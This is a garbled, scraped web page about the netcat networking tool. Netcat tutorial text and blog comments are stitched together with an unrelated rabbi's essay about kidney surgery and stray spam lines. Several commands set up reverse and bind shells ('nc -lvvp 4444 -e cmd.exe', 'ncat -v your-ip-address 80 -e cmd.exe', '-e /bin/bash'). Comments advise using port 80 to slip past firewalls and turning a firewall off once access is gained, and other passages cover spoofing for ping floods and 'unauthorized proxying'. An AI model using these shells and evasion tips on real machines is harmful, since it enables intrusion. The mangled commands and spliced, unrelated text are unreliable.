1.10 / 2 January 2007; 11 years ago ( 2007-01-02) Original version: custom, license GNU Version: OpenBSD Version: Website Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using. Netcat is designed to be a dependable that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities.
Its list of features includes port scanning, transferring files, and port listening, and it can be used as a. Mkfifo tmp mkfifo tmp2 nc -l 8080 -k tmp tmp2 done Making any process a server netcat can be used to make any process a network server. It can listen on a port and pipe the input it receives to that process. The -e option spawns the executable with its input and output redirected via network socket.
For example, it is possible to expose a bourne shell process to remote computers. To do so, on a computer A with IP address 192.168.1.2, run this command. $ nc 192.168.1.2 1234 $ ls -las total 4288 4 drwxr-xr-x 15 imsovain users 4096 2009-02-17 07:47. 4 drwxr-xr-x 4 imsovain users 4096 2009-01-18 21:22.
8 -rw- 1 imsovain users 8192 2009-02-16 19:30.bashhistory 4 -rw-r-r- 1 imsovain users 220 2009-01-18 21:04.bashlogout. In this way, the -e option can be used to create a rudimentary. Some administrators perceive this as a risk and thus do not allow netcat on a computer. Ncat: A similar tool to netcat provided by nmap suite 'While Ncat isn't built on any code from the “traditional” Netcat (or any other implementation), Ncat is most definitely based on Netcat in spirit and functionality.' User@HOST1$ ncat -l 9899 outputfile Encrypted file transfer Suppose you have an SSH tunnel, and you want to copy a file to the remote machine.
You could just scp it directly, but that opens up another connection. The goal is to re-use the existing connection. You can use netcat to do this: When you SSH in, add -L 31000:127.0.0.1:31000. On the remote: nc -lvnp 31000 127.0.0.1 file. On the local: nc -v -w 2 127.0.0.1 31000. Retrieved 2013-08-11. Retrieved 2013-12-01.
Retrieved 2018-03-25. courtesy of emailto:[email protected] Tom Buskey. Giovanni Giacobbi (2006-11-01). Retrieved 2013-08-11. Retrieved 2013-08-11.
delphij (2005-02-06). Retrieved 2013-08-11. Thomas Linden (2011-03-02). Retrieved 2013-08-11. Retrieved 2013-08-11.
Retrieved 2013-08-11. Andreas Bischoff (2010-06-07).
Retrieved 2013-08-11. Retrieved 2013-08-11. Retrieved 2013-08-11. Retrieved 27 December 2017. Retrieved 27 December 2017.
Retrieved 27 May 2018. Retrieved 2013-08-11. Retrieved 2013-08-11. External links. – User Commands.
Months went by, and the tumor grew slightly larger each time. Recently, though, something hit the button and the malignancy had grown significantly, and it was in a particularly vulnerable spot. So, my doc in Greenville shuttled me off to his mentor at Emory in Atlanta – incredible credentials and references. He studied the films and the reports, and he pronounced the iffy prognosis: Yes, the kidney must be removed in its entirely, and the sooner the better. The growth is enmeshed in veins and nerves, very dangerous to play with. Thus, out comes the whole thing.
Fortunately, the surgery can be performed laparoscopically, two relatively small incisions. No chemo nor radiation are indicated. All goes well and I will be in hospital for two days and then recovering at Chanie’s for 2+ weeks. There is definitely a downside. I am not a well man. I am a walking pharmacopoeia with doctors’ appointments out the wazoo. This could bode of all kinds of bad stuff: kidney failure, dialysis, infection, and even a visit from the malach ha-moves on the table or during recovery.
The doc tells me that it is my choice, not his, and I have naturally chosen the affirmative: an iffy procedure versus a nearly certain death as the tumor grows and metastasizes. The operation is set for July 10, at Emory. Afraid of dying?
Honestly, I am entire over with that, or at least until the surgery draws near. I guess that I will have more to say on that topic, or maybe not. Suffice to say that the Eibershter has been abundantly kind to me, Linda, all the kids and grandkiddies.
I am certainly unworthy of His kindness, but I have arrived at the conclusion that He is boundlessly benevolent, so whom shall I fear? A time comes when even the gravest situations can be met philosophically and without fear. So now I chant the final verse of Adon Olam with a little more kavvanah: בְּיָדוֹ אַפְקִיד רוּחִי בְּעֵת אִישָׁן וְאָעִירָה עִם רוּחִי גְוִיָּתִי אֲדֹנָי לִי וְלֹא אִירָא Into His hand I commit my spirit, When I sleep, and I awake And with my spirit, my body The Lord is with me, I will not fear Wiludjanski-Wilson is a retired rabbi who writes from Greenville, SC. Marc Wilson is a rabbi and activist, serving congregations for four decades. He lives in Greenville, SC, and is blessed with a compassionate wife and the 14 smartest grandchildren ever. He especially loves being with family, teaching Torah, and cooking a competitive kosher gumbo.
Marc is especially passionate about inclusive Yiddishkeit and the long, strange trip his life has been. He considers his greatest achievement the seven years he cared for his homebound parents. Contact Wiludi (Rabbi Marc) at [email protected].
Netcat 1.10 / / / 0 0 Netcat is a simple Unix utility which reads and writes data v across network connections, using TCP or UDP protocol. W / It is designed to be a reliable 'back-end' tool that can be used directly or easily driven by other programs and / / scripts. At the same time, it is a feature-rich network / / debugging and exploration tool, since it can create almost (((-)))-' any kind of connection you would need and has several / interesting built-in capabilities. Netcat, or 'nc' as the ( actual program is named, should have been supplied long ago.= E as another one of those cryptic but standard Unix tools. Windows C: Documents and Settings host Desktopnc -lvvp 4444 -e cmd.exe Linux root@bt:# nc -v 192.168.1.2 4444 10.255.245.136: inverse host lookup failed: Unknown server error: Connection timed out (UNKNOWN) 192.168.1.2 4444 (?) open Microsoft Windows XP Version 5.1.2600 (C) Copyright 1985-2001 Microsoft Corp. C: Documents and Settings host Desktop - Windows C: Documents and Settings host Desktopnc -lvvp 4444 listening on any 4444.
Linux root@bt:# nc -v 192.168.1.4 4444 -e /bin/bash 10.255.245.136: inverse host lookup failed: Unknown server error: Connection timed out (UNKNOWN) 192.168.1.4 4444 (?) open Back on windows type ifconfig C: Documents and Settings host Desktopnc -lvvp 4444 listening on any 4444. 192.168.1.4: inverse host lookup failed: herrno 11004: NODATA connect to 10.255.245.136 from (UNKNOWN) 192.168.1.4 59987: NODATA ifconfig eth0 Link encap:Ethernet HWaddr 00:01:02:03:04:05 inet addr:192.168.1.4 Bcast:10.255.245.255 Mask:255.255.255.0 - to make a windows machine connect back to backtrack machine. Open terminal and type in nc -lvvp 80 root@bt:# nc -lvvp 80 listening on any 80. Free download opera mini 8.65. Then on the windows machine typing the following will make it dial back to your machine. Ncat -v your-ip-address 80 -e cmd.exe C: Program Files Nmapncat -v your-ip-address 80 -e cmd.exe Ncat: Version 6.00 ( ) Ncat: Connected to your-ip-address:80.
The Windows machine should now have connected to you you should be able to see this in the open window on your backtrack machine. Hi andrej, Thanks for the question I appropriate that you read the blog. Quick reply yes it should work. If on the windows machine you typed ncat -v your-machines-ip-address 80 -e cmd.exe The windows machine will connect out on port 80 http so will look just like normal internet traffic. Firewalls normally do not block http.
Exception on this is larger estates that use a proxy and there internal Firewall only allows access for the proxy out to the internet. Try tunneling all your traffic over port 80 on different note you could change the FW or turn it off once you have access via ncat any way. Give it a try with regards to OS netcat dosn’t care if windows xp, vista, 7 or Linux. Its a very good tool.
Thank you for your reply: It’s working: My Test: 1.NetCat – test – Windows Vista Home Basic SP1 FireWall is On c: toolsnc -l -v -p80 -e cmd.exe listening on any 80 192.168.235.10: inverse host lookup failed: herrno 11004: NODATA connect to 192.168.235.1 from (UNKNOWN) 192.168.235.10 34431: NODATA 2.VMware – BackTrack 5R2 root@bt:# nc -v 192.168.235.1 80 – 192.168.235.1: inverse host lookup failed: Unknown server error: Connection timed out (UNKNOWN) 192.168.235.1 80 (www) open Microsoft Windows Wersja 6.0.6002 Copyright (c) 2006 Microsoft Corporation. Wszelkie prawa zastrze?one. C: toolsdir dir Wolumin w stacji C to OS Numer seryjny woluminu: 6892-B5E7 Katalog: c: tools ——————————————————————————————— But – The Windows firewall detects and, by default, blocks programs from opening TCP/IP sockets and listening for incoming connections. How do I add exceptions to the firewall??? I can’t find good “exploit” for windows vista ? It is a fortress??? Great to see you testing.
For adding exceptions to Windows firewall please look at A quick example below should allow port 80 in on Win 7 so should work on vista? Netsh advfirewall firewall add rule name=”Open Port 80″ dir=in action=allow You could change the port number to any you require. With regards to exploiting Vista/Win7 we have fully agreement it’s been improved and now hard to exploit. Best way is to look at exploiting the apps on it.
Browsers are still very exploitable. Try this example in your lab. Blog Stats. 335,154 hits Tools. Follow Blog via Email Enter your email address to follow this blog and receive notifications of new posts by email. Join 123 other followers Blogroll.
I wrote this article some time ago, but thought I’d publish it here for reference. This text is dual licenced under the GFDL and GPL There are versions of netcat. The version of netcat used here is the original Avian Research version. Not the newer GNU release Contents: – Netcat Basics – 1 – What is Netcat? – 1 – Netcat Syntax – 2 – Netcat Installation – 3 – What are the most basic uses? – 4 – Simple File Transfer – 4 – Tar – 5 – UDP – 6 – Simple socket reply – 6 – inetd – 7 – talking to syslogd -r – 8 – IPv6 – 8 – Internetworking Basics – 8 – nc -e – 9 – Scanning – 10 – Spoofing – 11 – Advanced Uses – 11 – Simple response service – 12 – Advanced Proxying – 12 – Windows Command Shell – 13 – Unauthorized Proxying – 14 – Cryptcat – 14 – Final Thoughts – 14 – Command cheat sheet – 15 What is Netcat?
Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or “nc” as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.
Taken from the README of the netcat source tree, this description sums up the uses of netcat perfectly. Netcat’s homepage is: Netcat is downloaded as nc11nt (nc11nt.zip on Windows) Throughout this tutorial, I will be giving examples on Linux systems.
The official Netcat homepage makes no reference to Windows systems, however I have successfully built Netcat from source under Cygwin, and you can find a Win32 copy built by ‘@Stake’ from: and all examples used below are fully supported under Windows. Image 2 The OSI, or Open System Interconnection, model defines a networking framework for implementing protocols in seven layers. Control is passed from one layer to the next, starting at the application layer in one station, proceeding to the bottom layer, over the channel to the next station and back up the hierarchy. (Courtesy of: ) nc -e We have already discussed the basics of redirection with netcat. Netcat has a -e switch which we can use to execute a program on connection. There are a couple of viable and legitimate uses for this, i.e. Running as nc -e -v called by the inetd wrapper, which we can use to view traffic and information on users connecting to wrapped daemons, however the most common use which we will explore here is using it to redirect to and from /bin/bash or similar shell, for both good and bad.
One method could be this: adam@adamp:$ nc -v -e ‘/bin/bash’ -l -p 1234 -t listening on any 1234 connect to 127.0.0.1 from localhost 127.0.0.1 51210 In one window, and a simple ‘ telnet localhost 1234′ in another window: adam@adamp:$ telnet 127.0.0.1 1234 Trying 127.0.0.1 Connected to 127.0.0.1. Escape character is ‘^’. Echo Test Test ^ telnet Scanning The scanning features of netcat can be used against yours or your friend’s networks to get useful information about which hosts have certain ports open. You can also send a precompiled data file to each. For example: echo EXIT nc -w 1 127.0.0.1 20-250 500-600 5990-7000 Will scan 127.0.0.1 on ports 20-250, 500-600 and 5990-7000. Every port that it finds is open, it will pipe the output of echo EXIT being the word EXIT to that port. The results are as follows.
Image 3 a) A number of clever ISP routers will drop packets with incorrect source addresses. B) If the destination host does get to receive your spoofed packet, it will send data back to the spoofed address (instead of ours). This does have a number of uses however in the example of ICMP ping flooding a host and spoofing the source address to Microsoft.com (as a theoretical example). Simple Response Service echo -e “GET HTTP/1.0nn” nc -w 5 www.google.com 80 We make a connection to google.com on port 80 (Web server port), and put in an HTTP request for.
At this point, we are presented with the HTML spurted out by the web server. We can pipe this to less or similar or even our favourite HTML interpreter. Image 4 Take a look at this example, and you will see what we have done here. In one instance we have created an HTML file ‘webfrontend’ and we now pipe that HTML to any incoming connection to netcat on port 1111. We then make a connection on the larger window, using lynx and we have made ourselves a tiny http server, possibly could be used as a holding page server or something similar. Advanced Proxying Now we’ll set up a server netcat to listen on port 1111. We’ll also set up a client netcat to talk to the real web server on port 81.
By getting them to pass all data they receive to each other, together they form a proxy; something that sits in the middle of a network connection. Here are the commands we use: mknod backpipe p nc -l -p 1111 0backpipe Because bash pipes only carry data in one direction, we need to provide a way to carry the responses as well. We can create a pipe on the local filesystem to carry the data in the backwards direction with the mknod command; this only needs to be run once. Requests coming into the proxy from the client arrive at the first nc, listening on port 1111. They get handed off to the “tee” command, which logs them to the inflow file, then continue on to the second nc command which hands them off to the real web server. When a response comes back from the server, it arrives back at the second nc command, gets logged in the second tee command to the outflow file, and then gets pushed into the backpipe pipe on the local filesystem.
Since the first netcat is listening to that pipe, these responses get handed to that first netcat, which then dutifully gives them back to the original client. While the above example is for watching tcp streams going to and from a web server, the above technique is useful for watching any tcp connection. In fact, since nc also works with udp packets – something telnet can’t do – it should be possible to even set up udp proxies this way. Windows Command Shell. Image 6 As you see from above, this has succeeded. Netcat and program execution for Windows can be used in exactly the same way. Unauthorized Proxying Assume you’re an administrator of a Linux router.
Using the methods above, as well as your iptables software, you can proxy a users outgoing connection through your nc proxy. Using iptables with the -j DNAT target and the -j REDIRECT target, you can transparently proxy outgoing connections through to any other ports you want, and what better to use than your nc proxy? Cryptcat Cryptcat can be found at: and is the ultimate companion for Netcat. It includes a lightweight version of Netcat, featuring encrypted transport properties. (Just for those superbly paranoid!) Final Thoughts If I was given one tool on a freshly installed PC, I would ask for Netcat. Due to its versatility and its huge range of uses, it can be used as a transfer tool, a scanning tool, a server, a proxy and so much more. I have put down everything useful I can think of, and welcome any further suggestions directed to Command Cheat Sheet The following are the most useful uses of netcat: For windows nc -d can be used to detach from the console.
Nc -l -p port will create a simple listening tcp port. Add -u to put into UDP mode.
Nc -e program To redirect stdin/stdout from program. Nc -w timeout To set a timeout before netcat automatically quits. (Used within a loop usually) program nc To pipe output of program to netcat nc program To pipe output of netcat to program nc -h Help sheet nc -v To put into verbose mode, or use -v -v to put into ultra-verbose mode! Nc -g or nc -G Source routing flags nc -t Use telnet negotiation (If connecting to a telnetd or acting as a telnetd for telnet clients).
Insert your driver card to continue: The progress will be displayed until the driver card has been read completely, this will take a minute or more. Once finished you will see the screen below: At this point the driver card data has been sent to Tachomaster. Digital tachograph card reader software free.
Nc -o file Hex dump traffic to file nc -z No I/O (Used for scanning ports). I have a question concerning the STDIN done in netcat. I make the connection as follows: netcat -v hostipaddress hostport./myperlprogram Within my perl program I try to read the STDIN but there are a few hiccups. I have tried the following: my $usrn; print”Username: “; $usrn =; print”logging in: $usrn”; When I run “myperlprogram” on the commandline it pauses at $usrn and does not advance to the print command till I hit enter. However when I connect to a server I get an error on the print command because “$usrn” is uninitialized.
Any suggestions you have would be appreciated.
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Is a swiss army tool for network/security professionals. You can use it to listen on certain ports or connect to certain ports. For example, say, you configured your firewall to allow 80 traffic to your web server. But your web server is not built yet and you want to validate the rule. You can run netcat on your workstation to listen on port 80, assign the IP address of the web server to your workstation and test the rule. If I am not mistaken, nc comes as a default tool in most of the distros. You can download the windows port of the tool at The command to have netcat listen on a specific port is “nc -l PORTNUMBER”.
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If you run this on a Windows 7 machine, you will get this dreaded message “local listen fuxored: INVAL”. The fix is to run it with a -L option. So the command would like this codenc -L -p 80/code The -L means “listen harder, re-listen on socket close”:). Have to dig deeper and see what it really means though. I will leave that for another blog post. And if you want to validate that netcat is indeed listening on that port, you can connect to that port from another workstation by using.
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